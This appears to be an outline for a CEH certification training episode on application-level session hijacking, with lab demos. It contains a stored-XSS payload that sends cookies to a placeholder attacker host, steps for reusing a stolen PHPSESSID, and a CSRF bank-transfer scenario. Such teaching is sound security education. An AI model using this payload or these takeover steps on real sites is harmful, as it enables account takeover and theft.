- Filename: eccouncil-ceh31250-v11-11-3-1-application-level-session-hijacking.md
- Show Name: CEHv11 (312-50)
- Topic Name: Network and Perimeter Hacking: Session Hijacking

Application Level Session Hijacking

Objectives:

- List and define common Application-Level Session Hijacking attacks
- What are some of the common App-Level Session Hijacking attacks we should be aware of?
 - Sniffing
 - Just sniff network traffic and intercept session tokens/IDs
 - MitM
 - Employ MitM to enable traffic sniffing
 - MitB
 - Malware-based approach
 - Malware hooks the browser and intercepts session info
 - XSS
 - DEMO
 - Reflected
 - DOM-based
 - Stored | Persistent
 - Attacker setup:
 - Setup HTTP listener with Python
 - <script>new Image().src="http://ATTACK-IP/bogus.php? output="+document.cookie;</script>
 - Target then browses to 'blog'
 - Target token shows up in Attack HTTP log
 - Attacker then copies token and logs into Web site
 - Ctrl-Shift-I to start browser Dev tools
 - Storage
 - Paste token into PHPSESSID value
 - Reload page (you are now logged in as AIM)
 - · CRIME
 - Compression Ratio Info-Leak Made Easy
 - Exploits a vulnerability in the use of compression features found in
 - HTTPS/SSL/TLS
 - SPDY (pronounced 'speedy')

- Session Fixation and Donation
 - Sites that transmit Session tokens via the URL are susceptible
 - Fixation
 - Get an anonymous session token
 - Craft an email link (social engineering)
 - User clicks link
 - Gets sent to login page to authenticate
 - User logs in and continues to use session token from Phish
 - Attacker can now use the same session token and be authenticated as the target user
 - Donation
 - + Same as Fixation with one small change
 - Attacker uses their authenticated session token
 - CSRF
 - + **DEMO** (just explain and show the effect, don't show setup)
 - Attack Setup
 - + Login to 'bank' website and transfer a small amount
 - + Grab the URL
 - + Modify the POST data in the URL
 - Increase the transfer amount to 100
 - + Get Target to click malicious link
 - Social Engineering
 - XSS
 - + Set this as Stored XSS in 'blog'
 - Target
 - + Clicks malicious link
 - + Browses to Stored XSS page
 - Session ID prediction
 - + http://example.com/webapp?sessid=3
 - What happens when you change '3' to '0'?